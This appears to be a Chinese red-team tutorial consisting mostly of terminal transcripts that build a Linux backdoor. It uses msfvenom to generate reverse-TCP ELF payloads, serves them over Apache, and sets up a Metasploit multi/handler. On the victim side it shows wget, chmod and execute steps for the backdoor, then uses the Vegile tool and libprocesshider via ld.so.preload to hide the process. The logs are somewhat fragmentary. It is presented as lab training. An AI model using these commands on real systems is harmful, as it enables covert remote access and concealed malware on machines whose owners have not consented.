红队/白帽必经之路(22)——实战之如何通过Metasploit 及Vegile 维吉尔工具制作Linux无文件木马程序root down[既然是红队，那就对自己狠一点]

                                                                                                           ┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=8080 -b "\x00" -f elf -o /var/www/html/xuegod-backdoor
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 175 (iteration=0)
x64/xor chosen with final size 175
Payload size: 175 bytes
Final size of elf file: 295 bytes
Saved as: /var/www/html/xuegod-backdoor

┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# msfvenom -a x64 --platform linux -p linux/x64/shell/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o /var/www/html/xuegod-ghost                                             
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 175 (iteration=0)
x64/xor chosen with final size 175
Payload size: 175 bytes
Final size of elf file: 295 bytes
Saved as: /var/www/html/xuegod-ghost

┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  systemctl start apache2
                                                                                                                 
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─# systemctl enable apache2   #设置开机启动，
Synchronizing state of apache2.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install enable apache2
Created symlink '/etc/systemd/system/multi-user.target.wants/apache2.service' → '/usr/lib/systemd/system/apache2.service'.
                                                                                                                 
┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  systemctl is-enabled apache2
enabled

┌──(root㉿kali-2024)-[/home/ljs/Desktop]
└─#  cd /var/www/html/
                                                                                                                 
┌──(root㉿kali-2024)-[/var/www/html]
└─# rz                   

msf6 exploit(windows/smb/psexec) > back
msf6 >  use exploit/multi/handler
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 8080  #改成8080，防止和上面实验的 4444 端
口冲突
LPORT => 8080
msf6 exploit(multi/handler) >  exploit -j  #在后台运行 handler，发现现在并没有 session，
因为客户端还没有执行

┌──(root㉿kali-2024)-[/var/www/html]
└─# wget 192.168.1.53/xuegod-backdoor

┌──(root㉿kali-2024)-[/var/www/html]
└─# chmod +x xuegod-backdoor     

┌──(root㉿kali-2024)-[/var/www/html]
└─# ./xuegod-backdoor    

msf6 exploit(multi/handler) >  sessions -i 2

查看网络连接状态：

netstat -antup | grep 8080

ps -aux | grep 2406

[-] Parse error: Unmatched quote: "' use exploit/multi/handler"
msf6 > use exploit/multi/handler
[*] Using configured payload linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) >  set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.53
LHOST => 192.168.1.53
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > exploit -j

wget 192.168.1.53/Vegile-master.zip

unzip Vegile-master.zip

cd Vegile-master

chmod +x Vegile

wget 192.168.1.53/xuegod-ghost

chmod +x xuegod-ghost

msf6 exploit(multi/handler) >  sessions -i 3

rm -rf /root/Vegile-maste

ERROR: ld.so: object '/usr/local/lib/libprocesshider.so' from/etc/ld.so.preload cannot be preloaded: ignored.

echo "" > /etc/ld.so.preload # 64 位系统没有这个文件导致报错